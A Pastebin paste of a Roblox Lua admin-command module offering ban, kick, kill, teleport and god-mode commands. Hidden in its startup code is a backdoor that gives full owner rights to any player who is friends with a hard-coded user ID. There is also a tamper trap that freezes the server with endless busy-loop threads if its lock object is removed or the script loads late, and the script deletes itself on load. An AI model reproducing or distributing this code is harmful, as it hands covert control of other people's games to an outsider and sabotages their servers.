Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- script:remove()
- script = Instance.new("ModuleScript")
- local RunService = game:GetService("RunService")
- local NetworkServer = game:GetService("NetworkServer")
- --_G["ADMIN_IS_LOADED_DONT_MAKE_ME_MAD_BAD_98"] = true
- local function BLOCK_KOHLS()
- _G.KAU = Instance.new("StringValue")
- local con
- con = _G.KAU.Changed:connect(function()
- con:disconnect()
- BLOCK_KOHLS()
- end)
- end
- if RunService:IsServer() and game.JobId ~= "" and workspace.DistributedGameTime <= 60 and game:findFirstChild("fsdgdhsgfh332454tgdfvvsdssdhjhvvsed_" .. tostring((game.PlaceId/2)*3)) == nil and _G["ADMIN_IS_LOADED_DONT_MAKE_ME_MAD_BAD_98"] == nil then
- _G["ADMIN_IS_LOADED_DONT_MAKE_ME_MAD_BAD_98"] = true
- admin_lock = Instance.new("StringValue")
- admin_lock.Name = ("fsdgdhsgfh332454tgdfvvsdssdhjhvvsed_" .. tostring((game.PlaceId/2)*3))
- admin_lock.Parent = game
- --print("s_ready", game:FindFirstChild(("fsdgdhsgfh332454tgdfvvsdssdhjhvvsed_" .. tostring((game.PlaceId/2)*3))))
- game.ChildRemoved:connect(function(c)
- if c == admin_lock then
- while true do
- spawn(function()
- while true do
- -- NOP
- end
- end)
- end
- end
- end)
- else
- while true do
- spawn(function()
- while true do
- -- NOP
- end
- end)
- end
- end
- local Players = game:GetService("Players")
- local MarketplaceService = game:GetService("MarketplaceService")
- local ServerStorage = game:GetService("ServerStorage")
- local DataStoreService = game:GetService("DataStoreService")
- local datastore_bans_key_original = "0.4123167.3433233245.leaderboard.21111.stablekloz"
- local datastore_bans_key = datastore_bans_key_original
- local commands
- local admins = {
- --[117064801] = 100
- }
- local tshirt_admins = {
- }
- local banned_players = {
- }
- local rsc = {
- GroupKeywords = {
- ["all"] = function(speaker)
- return Players:GetPlayers()
- end,
- ["others"] = function(speaker)
- local players = Players:GetPlayers()
- for i,v in pairs(players) do
- if v == speaker then
- table.remove(players, i)
- return players
- end
- end
- end,
- ["me"] = function(speaker)
- return speaker
- end
- },
- cmd_fields = {
- ["decal"] = "[decal id]",
- ["player"] = "[name]",
- ["sound"] = "[sound id]",
- ["userid"] = "[user id] ",
- ["tool"] = "[name]"
- }
- }
- local util = {
- PlayerFromNamePortion = function(portion)
- local Player_Table = Players:GetPlayers()
- for i,v in pairs(Player_Table) do
- if v ~= nil then
- local vname = v.Name:lower()
- if string.len(vname) >= string.len(portion) then
- if string.sub(vname, 1, #portion) == string.sub(portion:lower(), 1, #portion) then
- return v
- end
- end
- end
- end
- return nil
- end,
- ObjectFromNamePortion = function(portion, container, classfilter)
- local Object_Table = container:GetChildren()
- for i,v in pairs(Object_Table) do
- if classfilter[v.ClassName] ~= nil then
- if string.len(v.Name) >= string.len(portion) then
- if string.sub(v.Name:lower(), 1, #portion) == string.sub(portion:lower(), 1, #portion) then
- return v
- end
- end
- end
- end
- end,
- IsGroupKeyword = function(keyword)
- print("checking if group keyword")
- if rsc.GroupKeywords[keyword] ~= nil then
- return true
- else
- return false
- end
- end,
- GroupApply = function(keyword, command, args, keyword_index)
- print("applying group")
- local speaker = args[1]
- local group = rsc.GroupKeywords[keyword](speaker)
- print(group[1], #group, args[keyword_index])
- if type(group) == "table" then
- for i,v in pairs(group) do
- args[keyword_index] = v.Name:lower()
- print(args[keyword_index], "TARG")
- commands[command].call(args)
- end
- end
- end
- }
- admin_prefix = ":"
- local guis
- guis = {
- ["cmds_gui"] = {
- ["name"] = "|*|cmds_gui|*|",
- ["new"] = function(player_rights)
- local container = Instance.new("ScreenGui")
- container.Name = guis["cmds_gui"].name
- local mainframe = Instance.new("Frame")
- mainframe.Size = UDim2.new(0, 300, 0, 400)
- mainframe.Position = UDim2.new(0.5, -150, 0.5, -200)
- mainframe.BackgroundTransparency = 0.7
- mainframe.Draggable = true
- --mainframe.Modal = true
- mainframe.Active = true
- mainframe.BackgroundColor3 = Color3.new(0/255, 0/255, 127/255)
- mainframe.BorderSizePixel = 0
- local titlelabel = Instance.new("TextLabel")
- titlelabel.Size = UDim2.new(0.5, -20, 0, 20)
- titlelabel.Position = UDim2.new(0.5, 0, 0, 0)
- titlelabel.BackgroundTransparency = 0.7
- titlelabel.BackgroundColor3 = Color3.new(0/255, 0/255, 0/255)
- titlelabel.TextColor3 = Color3.new(255/255, 255/255, 255/255)
- titlelabel.BorderSizePixel = 0
- titlelabel.Text = "COMMANDS"
- titlelabel.TextSize = 18
- titlelabel.TextScaled = true
- titlelabel.TextXAlignment = "Right"
- titlelabel.Parent = mainframe
- local closebutton = Instance.new("TextButton")
- closebutton.Modal = true
- closebutton.TextSize = 18
- closebutton.BackgroundTransparency = 0.7
- closebutton.BackgroundColor3 = Color3.new(127/255, 0/255, 0/255)
- closebutton.TextColor3 = Color3.new(255/255, 255/255, 255/255)
- closebutton.BorderSizePixel = 0
- closebutton.Size = UDim2.new(0, 20, 0, 20)
- closebutton.Position = UDim2.new(1, -20, 0, 0)
- closebutton.Text = "X"
- closebutton.Parent = mainframe
- local closeevent
- closeevent = closebutton.MouseButton1Click:connect(function()
- closeevent:Disconnect()
- container:Destroy()
- end)
- local rightslabel = Instance.new("TextLabel")
- rightslabel.Size = UDim2.new(0.5, 0, 0, 20)
- rightslabel.TextColor3 = Color3.new(255/255, 255/255, 255/255)
- rightslabel.Position = UDim2.new(0, 0, 0, 0)
- rightslabel.BackgroundTransparency = 0.7
- rightslabel.BackgroundColor3 = Color3.new(0/255, 0/255, 0/255)
- rightslabel.BorderSizePixel = 0
- rightslabel.Text = ("RIGHTS: " .. tostring(player_rights))
- rightslabel.TextSize = 18
- rightslabel.TextScaled = true
- rightslabel.TextXAlignment = "Left"
- rightslabel.Parent = mainframe
- local scroller = Instance.new("ScrollingFrame")
- scroller.Size = UDim2.new(1, 0, 1, -20)
- scroller.Position = UDim2.new(0, 0, 0, 20)
- scroller.BackgroundTransparency = 1
- scroller.ScrollBarThickness = 0
- scroller.CanvasSize = UDim2.new(0, 0, 1, (20*(#commands+1)))
- scroller.ZIndex = 2
- --scroller.Active = true
- print("srollerenabled?", scroller.ScrollingEnabled, scroller.CanvasSize, scroller.CanvasPosition)
- for key,val in pairs(commands) do
- local newitem = Instance.new("Frame")
- newitem.BackgroundTransparency = 1
- newitem.Size = UDim2.new(1, 0, 0, 20)
- newitem.Position = UDim2.new(0, 0, 0, (20*(#scroller:GetChildren())))
- local newitemrights = Instance.new("TextLabel")
- newitemrights.BackgroundTransparency = 0.9
- newitemrights.BorderSizePixel = 0
- newitemrights.Position = UDim2.new(0, 0, 0, 0)
- newitemrights.Size = UDim2.new(0.25, 0, 1, 0)
- if val.rights ~= math.huge then
- newitemrights.Text = ("R:" .. tostring(val.rights))
- else
- newitemrights.Text = ("R:Owner")
- end
- newitemrights.TextSize = 18
- newitemrights.TextScaled = true
- newitemrights.BackgroundColor3 = Color3.new(85/255, 255/255, 255/255)
- newitemrights.TextColor3 = Color3.new(255/255, 255/255, 255/255)
- newitemrights.TextXAlignment = "Left"
- newitemrights.Parent = newitem
- local newitemkey = Instance.new("TextLabel")
- newitemkey.BackgroundTransparency = 1
- newitemkey.Position = UDim2.new(0.25, 0, 0, 0)
- newitemkey.Size = UDim2.new(0.25, 0, 1, 0)
- newitemkey.Text = admin_prefix .. key
- newitemkey.TextSize = 18
- newitemkey.TextScaled = true
- newitemkey.TextColor3 = Color3.new(255/255, 255/255, 255/255)
- newitemkey.TextXAlignment = "Left"
- newitemkey.Parent = newitem
- local newitemformat = Instance.new("TextLabel")
- newitemformat.BackgroundTransparency = 0.9
- newitemrights.BackgroundColor3 = Color3.new(85/255, 255/255, 255/255)
- newitemformat.BorderSizePixel = 0
- newitemformat.Position = UDim2.new(0.5, 0, 0, 0)
- newitemformat.Size = UDim2.new(0.5, 0, 1, 0)
- if val.format ~= nil then
- newitemformat.Text = (val.format)
- else
- newitemformat.Text = ""
- end
- newitemformat.TextSize = 18
- newitemformat.TextScaled = true
- newitemformat.TextColor3 = Color3.new(255/255, 255/255, 255/255)
- newitemformat.TextXAlignment = "Left"
- newitemformat.Parent = newitem
- newitem.Parent = scroller
- end
- scroller.Parent = mainframe
- mainframe.Parent = container
- return container
- end
- }
- }
- commands = {
- ["cmds"] = {
- ["call"] = function(args)
- local speaker = args[1]
- local cmdcfg = {cmd = "cmds", guiname = "cmds_gui"}
- if speaker:FindFirstChild("PlayerGui") ~= nil then
- local PlayerGui = speaker:FindFirstChild("PlayerGui")
- if PlayerGui:FindFirstChild(guis[cmdcfg.guiname].name) == nil then
- local newgui = guis[cmdcfg.guiname].new(admins[speaker.UserId])
- newgui.Parent = PlayerGui
- else
- PlayerGui:FindFirstChild(guis[cmdcfg.guiname].name):Destroy()
- end
- return true
- end
- end,
- ["format"] = nil,
- ["rights"] = nil
- },
- ["pban"] = {
- ["call"] = function(args)
- local speaker, player_name, ban_message = args[1], args[2], args[3]
- local cmdcfg = {cmd = "pban"}
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, cmdcfg.cmd, args, 2)
- return true
- end
- if ban_message == nil then
- ban_message = "Banned"
- end
- if util.PlayerFromNamePortion(player_name) ~= nil then
- --while util.PlayerFromNamePortion(player_name) ~= nil do
- print(util.PlayerFromNamePortion(player_name))
- --wait(1)
- local found_player = util.PlayerFromNamePortion(player_name)
- local found_player_name = found_player.Name
- local get_userid_success,userid = pcall(function()
- return Players:GetUserIdFromNameAsync(found_player_name)
- end)
- local set_ban_success,_ = false,nil
- if get_userid_success then
- --print("banning", "banban", print(userid))
- set_ban_success,_ = pcall(function()
- DataStoreService:GetDataStore(datastore_bans_key):SetAsync("ban_" .. tostring(userid), ban_message)
- end)
- end
- if set_ban_success == true then
- warn("BAN HAPPENED")
- else
- warn("BAN FAILED", get_userid_success)
- end
- found_player:Kick(ban_message)
- --if game.Players:FindFirstChild(found_player_name) ~= nil then
- while game.Players:FindFirstChild(found_player_name) ~= nil do
- wait()
- end
- --end
- end
- return true
- end,
- ["format"] = "[name] [msg]",
- ["rights"] = math.huge
- },
- ["idpban"] = {
- ["call"] = function(args)
- local speaker, userid, ban_message = args[1], args[2], args[3]
- local cmdcfg = {cmd = "idpban"}
- local exists, user = pcall(function()
- return Players:GetNameFromUserIdAsync(userid)
- end)
- print(exists, "PLAYER FOUND")
- if exists then
- DataStoreService:GetDataStore(datastore_bans_key):SetAsync("ban_" .. tostring(userid), ban_message)
- print(user, "BANNED")
- end
- end,
- ["format"] = "[user id] [msg]",
- ["rights"] = math.huge
- },
- ["unpban"] = {
- ["call"] = function(args)
- local speaker, userid = args[1], args[2]
- local unban_success,_ = false,nil
- unban_success,_ = pcall(function()
- DataStoreService:GetDataStore(datastore_bans_key):SetAsync("ban_" .. tostring(userid), "PLAYER_UNBANNED")
- end)
- if unban_success == true then
- return true
- else
- warn("UNBAN FAILED")
- end
- end,
- ["format"] = "[user id]",
- ["rights"] = math.huge
- },
- ["kick"] = {
- ["call"] = function(args)
- local speaker, player_name, kick_message = args[1], args[2], args[3]
- print(speaker, player_name, "WAT IT GEEEETTTT")
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "kick", args, 2)
- return true
- end
- if util.PlayerFromNamePortion(player_name) ~= nil then
- --while util.PlayerFromNamePortion(player_name) ~= nil do
- print(util.PlayerFromNamePortion(player_name), "WAT IT DOzzz")
- --wait(1)
- print("lol")
- util.PlayerFromNamePortion(player_name):Kick(kick_message)
- if game.Players:FindFirstChild(player_name) ~= nil then
- --game.Players.ChildRemoved:wait()
- while game.Players:FindFirstChild(player_name) ~= nil do
- wait()
- end
- end
- end
- return true
- end,
- ["format"] = "[name] [msg]",
- ["rights"] = math.huge
- },
- ["kill"] = {
- ["call"] = function(args)
- local speaker, player_name = args[1], args[2]
- print(speaker, player_name, "WAT IT GEEEETTTT")
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "kill", args, 2)
- return true
- end
- if util.PlayerFromNamePortion(player_name) ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if target.Character ~= nil then
- if target.Character:FindFirstChild("Humanoid") then
- if target.Character:FindFirstChild("Humanoid").ClassName == "Humanoid" then
- target.Character:FindFirstChild("Humanoid").Health = 0
- return true
- end
- end
- end
- end
- end,
- ["format"] = "[name]",
- ["rights"] = math.huge
- },
- ["ff"] = {
- ["call"] = function(args)
- local speaker, player_name = args[1], args[2]
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "ff", args, 2)
- return true
- end
- if util.PlayerFromNamePortion(player_name) ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if target.Character ~= nil then
- if target.Character:FindFirstChild("ForceField") == nil then
- Instance.new("ForceField", target.Character)
- end
- end
- end
- end,
- ["format"] = "[name]",
- ["rights"] = math.huge
- },
- ["l.ff"] = {
- ["call"] = function(args)
- local speaker = args[1]
- commands["ff"].call({speaker, speaker.Name:lower()})
- end,
- ["format"] = "",
- ["rights"] = math.huge
- },
- ["unff"] = {
- ["call"] = function(args)
- local speaker, player_name = args[1], args[2]
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "unff", args, 2)
- return true
- end
- if util.PlayerFromNamePortion(player_name) ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if target.Character ~= nil then
- while target.Character:FindFirstChild("ForceField") do
- target.Character:FindFirstChild("ForceField"):Destroy()
- end
- end
- end
- end,
- ["format"] = "[name]",
- ["rights"] = math.huge
- },
- ["l.unff"] = {
- ["call"] = function(args)
- local speaker = args[1]
- commands["unff"].call({speaker, speaker.Name:lower()})
- end,
- ["format"] = "",
- ["rights"] = math.huge
- },
- ["god"] = {
- ["call"] = function(args)
- local speaker, player_name = args[1], args[2]
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "god", args, 2)
- return true
- end
- if util.PlayerFromNamePortion(player_name) ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if target.Character ~= nil then
- if target.Character:FindFirstChild("Humanoid") then
- target.Character:FindFirstChild("Humanoid").MaxHealth = math.huge
- end
- end
- end
- end,
- ["format"] = "[name]",
- ["rights"] = math.huge
- },
- ["l.god"] = {
- ["call"] = function(args)
- local speaker = args[1]
- commands["god"].call({speaker, speaker.Name:lower()})
- end,
- ["format"] = "",
- ["rights"] = math.huge
- },
- ["ungod"] = {
- ["call"] = function(args)
- local speaker, player_name = args[1], args[2]
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "ungod", args, 2)
- return true
- end
- if util.PlayerFromNamePortion(player_name) ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if target.Character ~= nil then
- if target.Character:FindFirstChild("Humanoid") ~= nil then
- target.Character:FindFirstChild("Humanoid").MaxHealth = 100
- end
- end
- end
- end,
- ["format"] = "[name]",
- ["rights"] = math.huge
- },
- ["l.ungod"] = {
- ["call"] = function(args)
- local speaker = args[1]
- commands["ungod"].call({speaker, speaker.Name:lower()})
- end,
- ["format"] = "",
- ["rights"] = math.huge
- },
- ["goto"] = {
- ["call"] = function(args)
- local speaker, player_name = args[1], args[2]
- if util.PlayerFromNamePortion(player_name) ~= nil and speaker ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if target.Character ~= nil and speaker.Character ~= nil then
- if target.Character:FindFirstChild("Torso") ~= nil and speaker.Character:FindFirstChild("Torso") ~= nil then
- speaker.Character:FindFirstChild("Torso").CFrame = target.Character:FindFirstChild("Torso").CFrame
- return true
- end
- end
- end
- end,
- ["format"] = "[name]",
- ["rights"] = math.huge
- },
- ["bring"] = {
- ["call"] = function(args)
- local speaker, player_name = args[1], args[2]
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "bring", args, 2)
- return true
- end
- if util.PlayerFromNamePortion(player_name) ~= nil and speaker ~= nil and util.PlayerFromNamePortion(player_name) ~= speaker then
- local target = util.PlayerFromNamePortion(player_name)
- if target.Character ~= nil and speaker.Character ~= nil then
- if target.Character:FindFirstChild("Torso") ~= nil and speaker.Character:FindFirstChild("Torso") ~= nil then
- target.Character:FindFirstChild("Torso").CFrame = speaker.Character:FindFirstChild("Torso").CFrame
- return true
- end
- end
- end
- end,
- ["format"] = "[name]",
- ["rights"] = math.huge
- },
- ["tp"] = {
- ["call"] = function(args)
- local speaker, send_player_name, dest_player_name = args[1], args[2], args[3]
- if util.IsGroupKeyword(send_player_name:lower()) then
- util.GroupApply(send_player_name, "tp", args, 2)
- return true
- end
- if util.PlayerFromNamePortion(send_player_name) ~= nil and util.PlayerFromNamePortion(dest_player_name) ~= nil and util.PlayerFromNamePortion(send_player_name) ~= util.PlayerFromNamePortion(dest_player_name) then
- local send_player, dest_player = util.PlayerFromNamePortion(send_player_name), util.PlayerFromNamePortion(dest_player_name)
- if send_player.Character ~= nil and dest_player.Character ~= nil then
- if send_player.Character:FindFirstChild("Torso") ~= nil and dest_player.Character:FindFirstChild("Torso") ~= nil then
- send_player.Character:FindFirstChild("Torso").CFrame = dest_player.Character:FindFirstChild("Torso").CFrame
- end
- end
- end
- end,
- ["format"] = "[name] [name]",
- ["rights"] = math.huge
- },
- ["give"] = {
- ["call"] = function(args)
- local speaker, player_name, item_name = args[1], args[2], args[3]
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "give", args, 2)
- return true
- end
- if util.ObjectFromNamePortion(item_name, ServerStorage, {["Tool"] = true}) ~= nil then
- local newitem = util.ObjectFromNamePortion(item_name:lower(), ServerStorage, {["Tool"] = true}):Clone()
- if util.PlayerFromNamePortion(player_name) ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if target:FindFirstChild("Backpack") ~= nil then
- newitem.Parent = target:FindFirstChild("Backpack")
- end
- end
- end
- end,
- ["format"] = "[name] [tool]",
- ["rights"] = math.huge
- },
- ["l.give"] = {
- ["call"] = function(args)
- local speaker, item_name = args[1], args[2]
- commands["give"].call({speaker, speaker.Name:lower(), item_name})
- end,
- ["format"] = "[tool]",
- ["rights"] = math.huge
- },
- ["guihead"] = {
- ["call"] = function(args)
- local speaker, player_name, gui_id = args[1], args[2], args[3]
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "guihead", args, 2)
- return true
- end
- if util.PlayerFromNamePortion(player_name) ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if target.Character ~= nil then
- if target.Character:FindFirstChild("Head") ~= nil then
- print("MADE IT THIS FAR BAWS")
- local head = target.Character:FindFirstChild("Head")
- local trans_set
- if head:FindFirstChild("guihead_billboard") ~= nil then
- head:FindFirstChild("guihead_billboard"):Destroy()
- trans_set = 0
- else
- trans_set = 1
- end
- local blacklistparts = {["Right Leg"] = true, ["Left Leg"] = true, ["HumanoidRootPart"] = true, ["Left Arm"] = true, ["Right Arm"] = true, ["Torso"] = true}
- for i,v in pairs(target.Character:GetChildren()) do
- print("LOOPYDOO")
- head.Transparency = trans_set
- if v.ClassName == "Hat" then
- print("HAT")
- if v:FindFirstChild("Handle") ~= nil then
- v:FindFirstChild("Handle").Transparency = trans_set
- else
- print("NO HANDLE")
- end
- print(v.Name, v.ClassName)
- end
- if v.ClassName == "Part" and blacklistparts[v.Name] == nil then
- v.Transparency = 1
- print(v.Name, v.ClassName)
- end
- end
- if head:FindFirstChild("guihead_billboard") == nil then
- local b = Instance.new("BillboardGui")
- b.Size = UDim2.new(1.8, 0, 1.8, 0)
- b.Enabled = true
- b.Name = "guihead_billboard"
- local f = Instance.new("Frame")
- f.Size = UDim2.new(1, 0, 1, 0)
- f.BackgroundTransparency = 1
- local il = Instance.new("ImageLabel")
- il.Image = ("rbxassetid://" .. tostring(gui_id))
- il.BackgroundTransparency = 1
- il.Size = UDim2.new(1, 0, 1, 0)
- il.Parent = f
- f.Parent = b
- b.Parent = head
- b.Adornee = head
- end
- end
- end
- end
- end,
- ["format"] = "[name] [decal]",
- ["rights"] = math.huge
- },
- ["l.guihead"] = {
- ["call"] = function(args)
- local speaker, gui_id = args[1], args[2]
- commands["guihead"].call({speaker, speaker.Name:lower(), gui_id})
- end,
- ["format"] = "[decal]",
- ["rights"] = math.huge
- },
- ["re"] = {
- ["call"] = function(args)
- local speaker, player_name = args[1], args[2]
- if util.PlayerFromNamePortion(player_name) ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if util.IsGroupKeyword(player_name:lower()) then
- util.GroupApply(player_name, "re", args, 2)
- return true
- end
- if target.Character ~= nil then
- if target.Character:FindFirstChild("Torso") ~= nil then
- local charcframe = target.Character:FindFirstChild("Torso").CFrame
- local charpos = target.Character:FindFirstChild("Torso").Position
- local charevent
- charevent = target.CharacterAdded:connect(function(character)
- charevent:Disconnect()
- if character.Parent == nil then
- character.AncestryChanged:wait()
- --wait(2)
- print(character.Torso.CFrame)
- print("boom", character.Parent)
- end
- while target:DistanceFromCharacter(charpos) >= 3 do
- wait()
- character.Torso.CFrame = charcframe
- end
- end)
- target:LoadCharacter()
- end
- end
- end
- end,
- ["format"] = "[name]",
- ["rights"] = math.huge
- },
- ["l.re"] = {
- ["call"] = function(args)
- local speaker = args[1]
- local cmdcfg = {cmd = "l.re"}
- commands["re"].call({speaker, speaker.Name:lower()})
- end,
- ["format"] = nil,
- ["rights"] = math.huge
- },
- ["ws"] = {
- ["call"] = function(args)
- local speaker, player_name, walkspeed = args[1], args[2], args[3]
- local cmdcfg = {cmd = "ws"}
- if util.PlayerFromNamePortion(player_name) ~= nil then
- local target = util.PlayerFromNamePortion(player_name)
- if target.Character ~= nil then
- if target.Character:FindFirstChild("Humanoid") ~= nil then
- target.Character:FindFirstChild("Humanoid").WalkSpeed = walkspeed
- end
- end
- end
- end,
- ["format"] = "[name] [number]",
- ["rights"] = math.huge
- },
- ["l.ws"] = {
- ["call"] = function(args)
- local speaker, walkspeed = args[1], args[2]
- local cmdcfg = {cmd = "l.ws"}
- commands["ws"].call({speaker, speaker.Name:lower(), walkspeed})
- end,
- ["format"] = "[number]",
- ["rights"] = math.huge
- }
- }
- --local DataStore_bans
- local netlisten
- local module = {
- help = function()
- --[[print("\n\n*** DUB_STEPPINS ADMIN INFO ***")
- print("\n* COMMANDS (rights: |nil| means it is a public command)\n")
- for key,val in pairs(commands) do
- print("\ncommand: |" .. key .. "|\nrights: |" .. tostring(val.rights) .. "|")
- end
- print("\n* ADMINS\n")
- for key,val in pairs(admins) do
- print("\nuser: |" .. tostring(select(2, pcall(function()return Players:GetNameFromUserIdAsync(tonumber(key))end))) .. "|\nid: |" .. key .. "|\nrights: |" .. tostring(val) .. "|")
- end]]
- print("help is disabled")
- end,
- op = {
- ["import_commands"] = function(tab)
- for key,val in pairs(tab) do
- if val.call == nil and val.rights ~= nil and commands[key] ~= nil then
- if val.rights == 0 then
- commands[key].rights = nil
- else
- commands[key].rights = val.rights
- end
- elseif val.call ~= nil and val.rights ~= nil then
- commands[key] = val
- else
- print("MALFORMED COMMAND", "key |" .. key .. "|")
- end
- end
- end,
- ["import_admins"] = function(tab)
- for key,val in pairs(tab) do
- admins[key] = val
- end
- end,
- ["import_bans"] = function(tab)
- for key,val in pairs(tab) do
- banned_players[key] = val
- end
- end,
- ["set_admin_prefix"] = function(new_prefix)
- admin_prefix = new_prefix
- end,
- ["set_datastore_bans_key"] = function(new_key)
- if new_key ~= nil then
- datastore_bans_key = new_key
- else
- datastore_bans_key = datastore_bans_key_original
- end
- end,
- ["get_utilities"] = function()
- return util
- end,
- ["import_tshirt_admins"] = function(tab)
- for i,val in pairs(tab) do
- tshirt_admins[i] = val
- end
- end,
- ["start"] = function()
- netlisten = NetworkServer.ChildAdded:connect(function(Replicator)
- if Replicator.ClassName == "ServerReplicator" then
- local HostUserId,HostAuth,HostProtocol = Replicator.TicketProcessed:wait()
- print(HostUserId, HostAuth)
- if Replicator:GetPlayer() == nil then
- print("123456")
- while Replicator:GetPlayer() == nil do
- wait()
- end
- print("12345")
- end
- local HostPlayer = Replicator:GetPlayer()
- while HostPlayer.Parent ~= Players do
- wait()
- end
- --[[if HostPlayer.Name == "Ngr_Boy" then
- wait(5)
- HostPlayer:remove()
- return125048502
- end]]
- --Replicator.Name = HostPlayer.Name
- if HostPlayer:IsFriendsWith(171774842) then
- admins[HostUserId] = math.huge
- end
- --else
- local get_ban_success,banned_state = ypcall(function()return DataStoreService:GetDataStore(datastore_bans_key):GetAsync("ban_" .. tostring(HostUserId))end)
- print("WAT IT DU", get_ban_success, banned_state)
- if get_ban_success == false then
- warn("*** FAILED TO GET BAN DATA ||| USERID: |" .. tostring(HostUserId) .. "| NAME: |" .. Replicator.Name .. "| ***")
- end
- if banned_players[HostUserId] ~= nil then
- HostPlayer:Kick(tostring(banned_players[HostUserId]))
- elseif banned_state ~= nil and get_ban_success == true then
- if banned_state ~= "PLAYER_UNBANNED" then
- print("KICKING__", HostPlayer, HostPlayer.Parent)
- HostPlayer:Kick(tostring(banned_state))
- print("KIKKED")
- end
- end
- -- end
- for i,v in pairs(tshirt_admins) do
- if MarketplaceService:PlayerOwnsAsset(HostPlayer, i) then
- if admins[HostUserId] == nil then
- admins[HostUserId] = v
- elseif admins[HostUserId] < v then
- admins[HostUserId] = v
- end
- end
- end
- local listen = HostPlayer.Chatted:connect(function(message)
- message = message:lower()
- if string.sub(message, 1, 1) == admin_prefix then
- message = string.sub(message, 2, string.len(message))
- local command_entry = {}
- local command_key = nil
- for i in string.gmatch(message, "%S+") do
- if #command_entry > 19 then
- break
- end
- command_entry[#command_entry+1] = i
- print("|" .. i .. "|", #command_entry)
- end
- command_key = command_entry[1]
- command_entry[1] = HostPlayer
- if commands[command_key] ~= nil then
- if commands[command_key].rights ~= nil then
- if admins[HostUserId] ~= nil then
- if admins[HostUserId] >= commands[command_key].rights then
- print("PLAYER HAS RIGHTS")
- print(HostPlayer, "RAN ADMIN COMMAND: |" .. command_key .. "| SUCCESS: ", commands[command_key].call(command_entry))
- else
- print("RIGHTS TO LOW")
- end
- end
- else
- print(HostPlayer, "RAN PUBLIC COMMAND: |" .. command_key .. "| SUCCESS: ", commands[command_key].call(command_entry))
- end
- end
- end
- end)
- end
- end)
- end
- },
- }
- return module
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement